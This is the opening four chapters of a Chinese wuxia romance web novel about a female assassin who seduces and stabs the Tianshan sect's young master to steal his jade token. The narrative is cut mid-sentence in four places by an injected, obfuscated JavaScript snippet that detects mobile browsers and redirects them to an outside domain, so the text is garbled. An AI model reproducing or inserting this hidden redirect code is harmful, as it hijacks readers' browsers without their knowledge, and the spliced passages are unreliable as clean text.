《刺杀前夫失败后又重逢了》 1. 第 1 章 顾止做梦也想不到,自己会死在心爱之人的剑下。 天山含雪峰兰阁禁地内,月照半山。 死寂的月光下,南琼霜脸色苍白如雪,缓缓松开五指,漠然看着他倒下去。 那双惯是温软笑意的眼睛,悲而狠,决绝又寒凉。 看着他那双失了神依然漂亮得惊人的眼睛,她模模糊糊想起来。 今天是他们订婚的日子。 * 对面山崖幽暗,夜里山雾弥漫,看不清对面山崖的情况。 天山派兰阁禁地建在一座孤峰上。这孤峰高逾千尺,窄而细,如一柄直捅入夜空的匕首,与左右两侧群山,各以三根粗铁链相连接。 平日里天山派的人出入禁地,只从这六根铁链上走。如今夜雾太大,不仅看不清,铁链上又尽是霜露,南琼霜想了想,在山崖边停下来。 她的绝技,在容貌和手腕,不在武功。贸然冲上铁索,八成要落得尸骨无存的下场。 她看回那掩着帘子的兰阁内,发觉自己心情还算平静,只是细细地发着抖。 反正人不死也是重伤,放一晚上,肯定也死透了。她镇定地想,在这多等一会,等到天亮,也不耽搁什么。 她深吸一口气,在山崖尽头拴着铁链的巨木桩旁蹲下来。 这向下一蹲,腰间一个东西硬硬的,卡了她一下。 她拿出来。清冷月色下,是一块花纹繁复的玉牌,条条纹路流淌着光泽,写着“镇山玉牌”四个大字。 玉牌触手温热,她手一抖。按理来说,该是她刚才将它放在怀里的缘故,可是她却像被烫了一下似的。 这块玉牌,是从顾止胸前摘下来的。 那时他微微抖着,捧着她的脸,轻轻气喘着,吮她的唇。她仰着头,顺水推舟地被他打横放在兰阁简易的塌上,额头抵着额头,鼻尖蹭着鼻尖。 呼吸着他的气息,口里一丝甜腻腻的血腥味,混混沌沌睁开眼,看见窗外冷彻月色。 她都有些不知所以了。 他吻过了她的唇,又从发顶细细吻起。她的额头,眉眼,耳廓,鼻尖。再到了领口的时候,她觉得这样不行,全身要烧化了,连理智都化得一塌糊涂。 所以她轻推起他,一根食指点在他唇间,呢喃道,“怀瑾。”怀瑾是他的字。 青年睁开眼,俊雅温润得像一尊脂玉雕像,“怎么?” “当真不会有人来么?” “不会。”顾止一笑,“禁地一年都没几人来。要来此处一趟,得层层审批,即便是山内长老,最终也得由父亲点头。何况夜里,除非当真练得好的,根本想来也来不了。” 他的轮廓在月色里镀上一圈光芒,衬得人好看极了。她抚着他的脸,笑: “那你怎么带我来?” 顾止笑起来,低下头去顶她的额头,又蹭着她眉毛,“皎皎,你不知道?” “我不知道。” “明知故问。” 她也跟着笑起来。 “我说要来就带我来,你不怕明日你爹爹罚你?” “皎皎……”他从她颈窝里抬起头来,眉眼温柔得要溺毙人,语气却很无奈,“你怕我被罚,就不该磨我……我哪禁得住。” 她真是哑然失笑了。 顾止不语,只是低下头去,从领口往下,用柔软的唇,一寸寸,珍而重之地覆盖下去。 他未曾见过之处,新鲜的未曾涉足的土地,芬芳温软如牛乳,美丽柔软得让人心颤。 他向来谦让无私,唯独对她,有连他自己都没想到的占有欲。 这里,吻一下,是他的;那里,吻一下,也是他的;这儿,这儿,还有这儿……都是他的。 都是他的才好。 南琼霜浑身要烧起来了,只能一只手腕搭在额上,喘息着,汗涔涔地任钝刀子割。 他也随手将衣裳褪去了,突然含糊地“咦”了一声,“皎皎,你这里有颗痣。” 她哪里有痣,她当然知道。 只是那地方…… 朱砂色的痣,太甜又太扎眼,长在那个位置,诱惑又招摇,好像一点鹤顶红。 他闭上眼,唇覆上去,深深吸吮着,反复摩挲,竟真觉得甜丝丝的。 南琼霜倒吸一口气,咬住嘴巴。 忽而窗子里吹进一阵山风。她身上汗湿得不行,风一吹,整个人冷透了,往他怀里倚去: “好冷。怀瑾,关窗——” 顾止刮去她鼻尖的汗,在她鼻尖上轻啄了下,探身起来去关窗。 这一探身,她鼻梁结结实实被什么砸了一下,捂着鼻子,“砸到我了——”一看,是他整日贴身挂在胸膛的……镇山玉牌。 她如被人兜头一盆冰水浇下,从头皮冷到脚趾,冷到骨头缝里。 镇山玉牌,看见了就不能装没看见。 她不知道自己究竟愿不愿意看见那玉牌。可是看见了,她要求自己必须高兴。 南琼霜告诫自己,你为了什么来的,费了多少心思,你自己知道。 镇山玉牌难以下手,即便他们订了婚,日后她有许许多多这样同他贴身的机会,如今日这般天时地利人和的时机,还是少。 禁地之境,太适合下手了。 箭在弦上,早搭了几百年。 今日,不得不发。 * 她看着镇山玉牌出神。 还温热的,是他的体温吗? 她胸口忽然一阵钻心的痛,不敢看也不敢拿了,急急收回袖中。 她在月下,在将她吹透了冻得发抖的山风中,站了不知多久。木木地也没有什么心思,以为自己流了泪,很警觉地抹了一把。什么也没有,如释重负地放下手。 她根本没有爱上他。南琼霜很镇静地想,她们这一行的,逢场作戏惯了,什么人没见过,又何曾对哪个有情。 有情,就是自己的死期。 她被吹得直哆嗦,却情愿身上再冷一点。像是身体上痛苦些,心里就能畅快些似的。 不知过了多久,她抱着自己放空,却隐约好像看见,那垂着帘子的兰阁里,有什么动了一下。 南琼霜全身汗毛倒竖,霍地站起身来,定定盯着那帘子遮掩着的房间。 又没有动静了。 是她的错觉吗? 南琼霜偏了偏头。刺客是最应该相信自己直觉和余光的人。 去看看? 这个念头一起,她心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961873|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛被石摆狠锤了一下。 看什么?顾止吗?看看他……死了吗? 看那个一心为人,见到别人好比别人还高兴的、刚刚及冠的青年,有没有死在她剑下,有没有咽下最后一口气,那双被挚爱之人所杀的眼睛里,有没有恨,有没有不甘,有没有后悔莫及? 南琼霜想着,竟落了一小颗泪,慌忙擦去了。 算了吧。 她只是想,她的刀理应很快,他没有痛苦。没有痛苦,已经是被往生门盯上后最好的结局,也是她被允许有的,唯一一点私心。 她抬起手腕抹了把脸,忽然发觉手腕上,星星点点,都是淤痕。 柔软的地方,他不舍得;明显的地方,又怕她为难。只好选择不那么容易留下痕迹的地方。可是控制不住,还是留下痕迹了。 她一个没忍住,呜咽一声,立马咬牙咽下去了。 不能再想了。 事已至此,前路明白显豁,再想下去,只是无谓地动摇自己。 南琼霜目光转过去,再度望着茫茫夜雾,和对面若隐若现的群山。 她不知在铁链尽头等了多久,终于天边泛白,沉沉的夜幕,掀开了一条细边。 快了。等到日头上来,朝露散尽,她就可以离开这里,把那躺在地上的青年抛在脑后,回往生门领赏,看着审录司在自己的名字下记上一笔,然后,动身去办下一个任务。 她这么想着,忽然听见身后,有什么声响。 多年刺客生涯,她几乎是瞬间感觉到,背后有个活人。 南琼霜心里大惊,瞬间旋过身来,掌间蛛罗丝拢回手上,蓄势待发。 什么人?!她目光警觉在兰阁四周逡巡,难道是天山派察觉了,从另一侧的铁索登上了含雪峰? 若是来的人太多……她余光扫扫身后的铁索。来的人太多可不好办了。以她的武功,连铁索都不知道过不过得去。 可是,另一侧的铁索没有动静,连细微的颤动都没有。 忽然兰阁的帘子掀开了。 南琼霜霎时如坠冰窟。 兰阁垂着流苏的锦帘下,缓缓地,气息奄奄地,走出来一个人影,如鬼一般。 顾止捂着左胸口,倚在门边,身子半弓着,拼尽全力也要走出来。好看的脸,青白得吓人。 他开口,声音已经嘶哑,“皎皎……” 南琼霜耳朵里嗡的一声。 “皎皎……”他喘着,摇了摇头,一丝自嘲的笑,“为什么……” 那样的神色,哀恸又荒凉。 她一句话说不出口,再反应过来时,人已经冲上了铁索。 她见不得顾止。她如今再见不得。 可是却全然忘了铁链上尚有朝露这件事。 她脚下一空。 茫茫山谷磅礴的风呼啸着吹上天空,她的衣衫被风吹得四散,好像一颗拖着白尾的流星。 长发纷飞间,她最后回身看了一眼。 顾止已经冲过来,神色几乎骇人: “皎皎——” 她望着他那双歇斯底里的眼睛,在黎明里,安然闭了眼睛。 善有善报,恶有恶报。 好人长命,万幸,万幸。 2. 第 2 章 (倒叙) 薄薄刀锋贴在南琼霜颈间,像一根泛着寒意的丝线。 她咬着牙,抬了抬头,尽量不贴到刀刃上。 黑衣歹徒见状,狠狠把刀刃往她皮肤上一摁:“别动!再动宰了你!” 她眼里泪花朦胧,隔着一层混沌的水帘往对面看。 对面的小舟上,天山派少掌门顾止,一席白衣执剑,立在舟内。 月色倾泻,落花片片,剑光与水色映得他像一尊水晶天神像。飘零的花片落在他剑刃上,悄无声息地化为两半。 他说:“姑娘,莫慌,顾某今日定会救下你。” 她拼命眨着眼,没有空隙容她说话,泪珠一颗颗砸在领口。 身后的黑衣人胸膛起伏也很急促:“少掌门,你肯放我一命,今日,我便也放这姑娘一命。” 顾止一声冷笑。月色下,一贯温润的人竟然露出了一种不由分说的凉薄表情:“我下山逛个市集,你欲刺杀我,还求我放你一命?妄想。” 黑衣人刀锋一闪:“那便休怪我不客气了!” 刀刃的寒光刺得南琼霜眼睛一痛,她吃惊闭眼,却听那边顾止一声清喝: “慢着!” 南琼霜虚脱地睁开眼,额头上一层细细的汗。 月色下,湖中央的小舟不止他们这两只,其余游人见了湖心的纷争,忙不迭地撤开去,圆月下平如镜的湖面泛起几道船痕。 有舟中人在船篷灯影里摇着扇子:“不知哪里来的船娘,贱命一条,也不知顾公子救她做什么?犯得着为她身赴险境!” 南琼霜垂下眼睫。 是呀,这年头,人命最贱,像她这般无钱无权无父无母无夫的女子之身,就更贱。 但凡对面的人换一位,靠她一条命,就威胁不了什么。 偏偏这一位,是江湖上有名的霁月公子,顾止。 以她现下的身份为质,能够威胁到的,也就只有这种真君子。 黑衣人笑了一下: “顾公子,知道您舍不得。要取您性命是我不对,但咱们也是奉命行事。您看,您撤去一旁的舟上去岸边,我带着这姑娘去对岸,平安到岸后,姑娘撑舟回去,您看怎么样?” 说完,手往顾止身后一指。 他身后,刚好是一只急欲避到岸边的小舟。 舟上有人。 南琼霜知道,顾止一旦上了这小舟,必然不会强迫人家转头回来救她。人家的命也是命,他们的命,与她,对现在的顾止而言没有任何分别。 顾止犹疑了两秒,黑衣人又将刀刃狠狠压在她薄薄皮肤上。 “少掌门,请吧?” 舟上一男两女惊惧地从船篷里露出头来,一个鬓发斑白的老头,两个年纪尚轻的歌女。 脸上俱是普通人头次被卷进这种事情的恐慌。 顾止长叹一声,回头看了南琼霜一眼,长衣一飘,踏云般点足,落在这只小舟上。 身后的黑衣人长出了一口气。 南琼霜含着泪,哽咽了一下,什么都没说出来。 顾止回身,月光下衣尾拢成一个雪色的扇面,剑光一旋入鞘,吞为一点寒星。 “姑娘,不必害怕,今日我说了会救下你,便一定说到做到。” 黑衣人却已经搡着她转了过去,背对着那只急急滑向岸边的小舟,推了她一把: “撑船!” 南琼霜急忙俯身下去拿撑竿,浑身抖得连小舟都摇摆起来,拿着长竿在水里一拨,一下竟然拨开了好远。 黑衣人笑了一声。 一竿子拨开这么远,饶是顾公子那般武功,也无甚好办法。 这样想着,却忽然听得脑后一阵嗡嗡之声,好像一只硕大的苍蝇,横冲直撞地钻到他脑后。 未及他闪身回看,脑子里“嘣”一声。 最后一秒,他看清了,是一枚玻璃珠。 黑衣人抽搐了两下,像个断了线的木偶,歪着身子,栽进水里去。 激起一片水花。 泛着碎光的水花落下,露出不远处的人。 顾止收了弹指的手势,从容捋了捋衣摆长袖,长睫垂下,好像方才只是随手出招,不值一提。 他朝船篷内的人微微颔首,凌空在水面上轻点数下,如仙鹤般,衣袂散开,落在她面前。 烛光水影里,他长睫翕垂,被橙色的烛火映出一个亮点,眼里一片透澈水光。 夜色般的长发顺滑地披了一身,垂络摇缀,他眉眼低垂,发间落花片片。 她这时才发觉,他垂首的侧颜,额眉鼻骨皆如玉,英俊矜雅得几乎令人难以置信。 如今正是四月芳菲时节,落英缤纷,月色寒凉,圆月下的湖面粼粼潋滟,他长剑负在身后,向她伸出一只手。 肩上落花,身上满是雪松香气。 “受惊了?” 她很委屈地瘪了一下嘴,泪流了一脸,将手交在他掌心,控制不住地软软跪下去。 几乎委在他雪一般的长衣下。 顾止忙弯下身将她扶起,她扑在顾止的怀抱里,打着细碎的哆嗦。 他原是极有边界感之人,只是见不得弱者受苦,于是也没有推开她,只是安静地,容她在他怀里啜泣。 良久,他拍拍她的肩,自然地接过了船竿。 “孤男寡女,同处一舟怕坏了姑娘名声,我们还是快些回岸上去吧。” 南琼霜见他拿起了船竿,吓了一跳,急忙去抢:“公子,我是船娘,撑舟乃是我分内之事,怎么好由公子……” 顾止却只是笑,避过了她去接船竿的手,自然而然地将竿入水,拨了起来。 “既然有男子在场,这种事,怎么好由姑娘做。” 月光下,他笑得坦荡阔朗。 南琼霜却无来由地想,他当真好似一块玉。 “我今日下山买些药,不想有人欲取我性命,被我发现。我一路追,追到湖边,那刺客走投无路,于是劫了姑娘为质。说起来,一切全由顾某而起,容我向姑娘道个歉。” 桨声灯影里,船在墨色的水里缓缓地滑。 南琼霜撑腮看着水面。 灯火一盏一盏地过,卷着花片的江水一波一波地涌向船身。 玲珑光影里,他英俊得太过分,她一时不知说什么好。 “到岸了,姑娘小心。” 顾止一只脚踏在船头,一只手伸向她,怕她脚一滑跌了。 她赧然垂首,生怕他发觉她绯红的耳垂。 上了岸,顾止最后护着她走了一段,终于停在长街尽头,身后是无尽的茫茫灯海。 他笑:“既然姑娘就在此居住,顾某也不便再送,免得人家见了,说姑娘的闲话。” “嗯。”她绞着帕子应了声。 转身,进了身侧的巷子。 顾止的身影在巷子口候了片刻,等到她的身影完全隐入巷内的阴影中,他也抬步,重新进了人海。 南琼霜的步子却停在阴影处。 见顾止走了,她拿帕子将眼角泪珠点去,面无表情地,将手帕一抖,收入袖中。 身侧已经多了一个泛着潮湿水气的身影。 她连看也没多看,抬步往黑暗的巷子深处走去。 “难为你喝了不少水又爬出来。”她轻笑,揶揄里是满不在乎,“方才演心动,演得像不像?” 雾刀咯咯地笑,随在她身侧:“像,你向来的拿手好戏。” “倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961874|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,演得也太不像。我要是你,先下一刀。见了血,他方确定你与我没有半点关系。” 雾刀笑了一阵:“不愧是我带的人,够心狠。” 南琼霜不在意地笑了一下,站定在一所房子门前,提着裙摆,歪着头等雾刀替她开门。 “不过,你浪费了一个大好的机会。” 门吱呀一声开了,屋内明烛摇动,南琼霜拎着裙摆跨过门槛。 “天山派难得一见,到了他这个地位的,更是长年隐居于天山深处。有此一面,怎能轻易放过,我以为你至少要寻由头报个恩送锦囊之类的,叫他记住你。” 南琼霜很嫌弃地嗤笑一声:“这么老土?你近来是越发的不灵光了。” 雾刀抱膀靠在墙上,被冷嘲热讽,“啧”了一声。 南琼霜将长发解下,拨到右胸前,灯烛里一下一下梳着头发。 “叫他记住我,叫他带我走,乃至,将我一个外人,带入天山内部。这些事情,急不得。” “跟他走,是早晚的事,而且——” 奇香芬芳的密齿梳,将她一头乌发梳得顺滑腻亮,她垂着长睫,耳垂莹白,烛火下,像极了山野奇闻中夜里化人的狐精。 “而且……我要由他,主动提。” 烛火跳跃了一下。 雾刀歪了一下头,笑:“天山派从不放外人进山。要他放你,还是主动放你,未免太难。” 南琼霜笑而不语,只是将一面圆圆的铜镜摆在面前,端详着自己的容貌。 镜中人通体瓷白,白得几乎瞧得见脖颈的青色血脉;眼角尖尖,眸子里一片粼粼水光。窄而秀气的双眼皮,无需粉黛自然蔷薇色的双腮,极艳的颜色。 纯黑的长发披散在身后,像只凄艳而湿漉漉的水鬼。 她这人,生得哀而凄,透明而易碎,人却一派妖态,抬眼间,尽是漠然与轻蔑。 她笑:“难?” 雾刀不说话了。 她含着笑,细细地梳自己的长发,那笑容意味深长。 忽然一丝战栗钻进骨髓,他电光石火地明白了什么。 两三步抢过去,拿起她的梳子,在鼻下一闻。 一股极其冲鼻的浓郁奇香直接掀开他天灵盖,熏得他眼里生泪。 这么香的东西,拿来梳头…… 她含着笑:“七乌香木。扰人心智的东西。” 雾刀一下说不出话来。 那种香木,他也晓得。奇香确实会控制人心智,但那木材,本质上是种剧毒。 一指甲的量,足够掀翻一头牛。放在水里,抿了一下吐掉,就已经无药可医。 靠攻心取胜的刺客不计其数,而敢用这种东西熏体香的,只有最不要命的疯子。 她笑着递出手去,五个指甲搁在他掌心里,“还有哪,我这指甲,也是香木染的。” 雾刀:“所以你……” 所以你才跌进他怀里,装着站不稳,摔在他脚下。 是为了叫他受这香气的控制。 他觉得有意思,笑了一下:“拿这种东西熏体香,命挺硬啊。” 南琼霜从袖中摆出一只药丸:“七乌香木是极烈的热毒,于是服些其他的毒,顶一下。” 烛火下,雾刀看清了,那是往生门里特制的寒髓雪莲。 江湖上人人闻风丧胆的毒,她为了一点体香,当补药似的服下。 南琼霜见他神色,不等他说话,已经知道他明白,于是轻笑起来。 “别傻站着,你头一天认识我?上次叫你办的事,去办了。” 她说: “下一次再见着这位顾掌门,他就该带我上山了。” “所以,别坏我好事。” 3. 第 3 章 雾刀是她的教引。 南琼霜自三岁被往生门极乐堂挑中,已经在门内侍奉了十三年。 往生门乃是江湖上有名的暗杀组织,隐在无人知晓之处,暗地里挑选幼童,培育为刺客。 每一届,选出的幼童都有两三百。然而最后能从百杀场中活着出来的,只能有一个。 她们那届倒是有些特殊,被选中的有两个。 一个入了墨角的七杀堂,那是真正的学武苗子才能去的地方。 她入的是极乐堂。 大逃杀落幕那日,她原本不敌,只是拼命哽着一口气不肯咽,饶是抖得触电一般,也不肯放下手里折断的木剑。 因为这股子心狠,和一张好容貌,被极乐堂的胭脂堂主挑了去。 极乐堂,顾名思义,是往生门内专养攻心刺客之处。 堂内个个皆是女子,美得一眼惊魂过目难忘,专擅玩弄人心,操纵爱恨,待到时机成熟,一击毙命。 极乐堂最忌心软。 恰好,南琼霜从不心软。 她是极乐堂内最风光、最有为、最年轻、最得门主青睐的刺客。 雾刀带了她十三年,从最初教她用毒、用药、用刀、用剑,到最后她自己摸索出了丝线杀人的功夫,不得不承认,他已经几乎带不了她。 说是教引,却几乎成了她的暗卫。 他转身走入灯火照不明的阴影里,隐去了身形,声音却犹在耳畔: “真是亡命之徒。” * 这天是南琼霜确切接下这次任务的日子。 往生门要她杀了顾止,取走他贴身的镇山玉牌。 南琼霜也不明白往生门要这些东西有什么用。她向来不问,对于她这样的人,少问是一种智慧。 她只是做。 任务函由雾刀的线人送到手的当天,她看完了就折好,点在烛芯上烧掉。 瞧着火苗舔舐上纸函,她忽然想到,临行之前,去佛寺求个签吧。 往生门有规矩,刺客做满了五个任务即可赎身,不必再为往生门卖命。 她已经做满了三个,三次领命,无一败绩。饶是当年大逃杀胜出的云瞒月,也没有她这样的速度。 越是曙光在即,人也越心急,巴不得求点吉兆让心里的石头落地。 去普觉寺那一日,山花烂漫,天光明亮,落花片片堆在石阶缝隙里,空气里尽是香火和花草潮湿的味道。 南琼霜提着裙摆,越过虫鸣声声的草木,一级一级踏上石阶,跨过高高的门槛,进了大雄宝殿。 闭目刚欲许愿,忽然想起她是最不得神佛庇佑的一个身份,于是睁开了眼笑笑,转身欲从殿内出去。 却在大殿角落的香桌上,瞧见了签筒。 她踱步过去,对着桌后面红袈裟的师傅笑得眉眼弯弯:“什么人都可以求一支签吧?” 哪怕是她这般的造孽之人? 师傅不懂她的言外之意,只当她是普通的香客,把那签筒递到她手里:“去拜垫上,想问什么,心中默念,双手举签筒过眉,佛会听到。” 她依言照做。 却不知为何,摇签筒时,摇了快三百下,没有一支签掉落出来。 她不知是自己摇的方法不对,还是被佛一眼勘破过往,不愿理睬,心里有些发虚,睁开一丝眼缝偷瞄一瞬,又多摇了几下。 她心里想,若再不出签,便不再自讨没趣。 忽然从签筒内掉出了一根来。 捡起来一看,却没有写吉与凶。 只有三个字,“半劫缘”。 半劫缘? 南琼霜心中纳罕,这签的名字属实是没听过,于是拿着它又找到了香桌后的和尚。 师傅接过,原本只是草草一看,却在瞧清上面字样后,一下换上了副愕然表情。 “姑娘抽到了半劫缘?” 她点头:“正是。” “这签……不好说。” “怎么个不好说法呢?”她倾身过去,忽然思及身上七乌香木的气息,复退了半分,比原先离他更远。 “半劫缘,此签乃是成对摇出的,倘若仅有一人摇出,便是摇得错了。但咱们寺内从来没有出过这样的事。十来年吧,上次有人摇出这支签,已经十余年了。” “那这签是什么意思呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961875|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师傅看了她一眼: “乃是说,同抽得此签的两人,互为命缘,互为劫难。” 日光由漆红的窗棂照进来,被分得一格一格的,斜斜映在一尘不染的大殿石砖上。 寺外的落花由窗子飘进殿内,正是桃花,和着阳光与尘埃,轻盈漂浮在空气里。 和尚的声音缓缓: “两个人,既是缘,也是劫。” 南琼霜眨了一下眼,殿内的木鱼“梆”敲了一声。 忽然听见,身后殿门大开、日光朗照进来之处,一个清冽的嗓音。 “师傅,这支签是——?” 阳光忽的一闪,她转身,在斜斜照进来的浅金色日光和浮游尘埃之后,满殿神佛之前,瞧见了拿着另一支签的人。 师傅拍掌笑道,“这就对啦,两支半劫缘。” 顾止一身明月般的云锦长衣,隔着微尘与落花,朝她温柔一笑: “原来另半支签竟然在姑娘这里。” “又见面了,楚姑娘。” 耳边传来雾刀揶揄的笑,是他的传音入密: “好计谋。当真是越来越有本事了,连佛寺的灵签都能做?” 南琼霜垂下眼眸,望了那木签半晌。 “劫”字比“缘”刻得深了些,写得也稍大,粗略一看,似乎只见劫,不见缘。 她没有动任何手脚。 这支签,是菩萨给的。 她抬眼一笑,将木签递到顾止手中去,顾止将两支签并在一起,比着看了一眼:“当真是两支相同的签。” 他笑着道:“两百支签里,抽中两支相同的签,楚姑娘,你我二人有缘分。” 缘分? 南琼霜微不可见地笑了一下。 顾止:“今日姑娘……”却忽然半转过身,南琼霜抬起眼睛,惊见一柄明晃晃的剑刃,反射着殿外日光,直朝着顾止背心刺来,顾止闪身躲避,一面微笑继续道:“——来这里上香?” 谈笑间,猛然发难的剑刃,被他仅用两根手指便夹住,动弹不得。 他竟还有余裕,隔着落花,弯起眼睛朝她道歉:“对不住,先处理些事情。” 4. 第 4 章 说完,闪身跃去大雄宝殿外。 一个人高马大的黑影不知从何处掠来,一身夜行衣,在殿外旋风一般地挪闪,手中一颗流星锤,抡得风声飒飒。 来上香的香客见状全惊慌避开,推搡在一起欲躲进殿内。 顾止身轻如燕,薄薄的一柄剑旋开,一瞬竟然凌空突刺数十招,黑影白衣间剑光片片,夹着落英,交织如飞花碎玉。 那黑影被顾止一阵剑光削得无法近前,忽然腕上一麻,流星锤脱手而出,砸在青石板上,发出一声巨响。 顾止长剑斜指,语气却依旧温和:“阁下是何人,何苦来战?” 那黑衣人不语,转身绕到不远处的石狮子之后,隔着石狮与他对峙。 顾止却将长剑入了鞘:“佛法重地,怎好在此处大动干戈。倘若阁下当真欲取我性命,不如——” 话未及说完,那黑衣人蹲下去,双手抱住了那敦实的石狮子,猛然发力,一阵猛兽般的低吼,竟将石狮子高高举起,直朝顾止砸去。 “竖子,接招!” 顾止见状也吃了一惊,后撤两步,跃上了空中挂着的七彩经幡。 那石狮沉重无比,殿外的香客从未想过有一天这竟然也是可以抛得起的,纷纷尖叫躲避。 黑衣人见一个不中,竟复将那石狮子抱起,一声低吼,原地转着抡了两圈,猛然再掷。 石狮的影子划成一条弧,影下的人群慌乱推搡着躲,经幡上的顾止却不闪不挪,长剑从容出鞘,剑光一闪,将那石狮,轻描淡写地挑在剑尖。 剑身微弯。 脚下的经幡,不过下降了半寸。 南琼霜看得心惊。 那就是天山派密不外传的化功,四两拨动千斤,常人难得一见。 如今见了,却也不敢置信。 这种功夫,究竟是怎么做到的? 经幡上,顾止刚欲再开口,忽然远处窜来一根游蛇般的细锁链,哗啦作响缠上剑身,将他的雪渊剑猛然一扯。 顾止眉梢一挑,手腕翻转,锁链瞬间绷直。 下一瞬,石狮轰然坠地,砸在地上碎为两块。锁链另一端的人却如遭重击,弯着身子跪下了身,覆着黑布的嘴里猛地喷出大股鲜血。 顾止轻叹一声,“礼佛之地,我本不愿见血的。” 说完,在缤纷飘扬的七彩经幡中跃动,剑光所至,割断几根经幡。 顾止慢条斯理地将剑身上的弯锁拆下来,一端系在经幡上,再一垂眸,地上的黑衣人已经又抡起了流星锤。 他冷冷道,“再战无益。”将弯锁转了几转,朝着黑衣人掷去。 弯锁与抡出残影的流星锤顿时搅在一起,长长的经幡劈头盖脸地旋转着,卷在黑衣人身上。 黑衣人气急败坏地大叫,依然拨转不开,挣扎间,经幡反而如灵蛇般越缠越紧。 缠到最后,他仿佛一只七彩斑斓的茧,踉跄几步跌在地上。 顾止脚尖轻点,衣角微浮着缓缓落地,一面将剑收入鞘。 忽然,又有四五个身影,自殿后踩着房瓦疾跃上来,围着顾止合成一圈,落了地,刀剑齐指。 众人中间,顾止轻叹一声,告诫自己,“佛门之内,不论如何不能大开杀戒。” 说完,他阖目,深深吸了一口气。 再睁眼的时候,目光似刀,一字一句道: “诸位,对不住了。” 言毕,忽然长发翻飞,他半跪在地,手掌猛然在地上一按。 在场诸人都不知发生了什么,忽然所有黑衣人被齐齐掀翻数尺,狼狈落地,动弹不得。 顾止缓缓站起,衣袂无风自动,周身气劲如潮水般退去,地面竟以他为圆点,四散裂开。 南琼霜看着,深深吸了一口气。 从前她应对的那些人,即便身份暴露,千钧一发之际也不是不可用武强取。 但对顾止,她连这条路都没有。 硬碰硬,死的只会是她。 她在原地斟酌着,却见那方才拿着锁链被顾止震得呕血的人,趁他不注意,又爬了起来。 她亟需向他表忠心,叫道:“公子,小心!” 顾止回身,只见那黑衣人爬在地上,上身竭尽全力地,向他一挥。 顿时洒出一个芽绿色的扇面,弥散在空气里。 那样的颜色,便是寻常人见了,都知有毒。 顾止眉间微蹙,电光石火间,自指尖弹出一个玻璃珠。 精准敲在那人穴位上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961876|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黑衣人眼仁一翻,晕了过去。 然而,玻璃珠带出的风,却将毒雾悉数泼去了另一个方向。 ——南琼霜。 淡绿色的毒雾劈头盖脸地拂上她口鼻,甜得诡谲的味道。 顾止脸色苍白,大叫道:“楚姑娘——!” 南琼霜仿若后知后觉地拿帕子捂住口鼻,退了两步。 他两三步抢过来,仔细端详着她的脸色。 她乖巧强笑道:“公子,我没事。” 顾止摇头:“不行。姑娘随我去看郎中。” 郎中? 我要的是你带我入山。 走了两三步,南琼霜脚步一软,如一朵泡了雨水的花一般,柔弱往一侧歪去。 被顾止伸出手臂揽住了。 她倒在顾止雪松气息弥漫的怀里,粉唇开合,艰难喘息道:“公子,我……走不了。” 说着,珠泪颤巍巍挂在长睫上,一颗一颗砸下来。 看得顾止脸色一阵一阵的发白。 她落的那两颗泪,是淡红色。 恐怕是血泪。 江湖上能在如此短的时间内,使人眼流血泪的毒,只有一种。 幼红春。 那幼红春,又仅有一味药可解——长生草。 而那一味长生草,又仅仅生长于天山三清峰上,其他地方,寻不到。 思忖了片刻,他抬起眼,果断道,“姑娘随我上山吧。” 楚姑娘是受他波及,因他受伤,又仅有天山上的草药可解。 天山派固然有入山禁令,但再不可逾越的门禁,也没有人命重要。 南琼霜心里猛地一跳。 她垂下眼眸,提醒自己千万压抑笑意,泪水涟涟地抬眼看他: “上山?什么上山?” “顾某失礼,三面之缘,竟忘了自我介绍。” 三面? 湖中央一次,普觉寺一次,哪里来的三面? 顾止介绍了一遍,全是她早已烂熟于心的事,她沉默着听完,追问了一句:“三面之缘?” 顾止却只是笑,不解释。 他道:“今日姑娘是受顾某拖累。请姑娘放心,顾某自会负责到底。” 5. 第 5 章 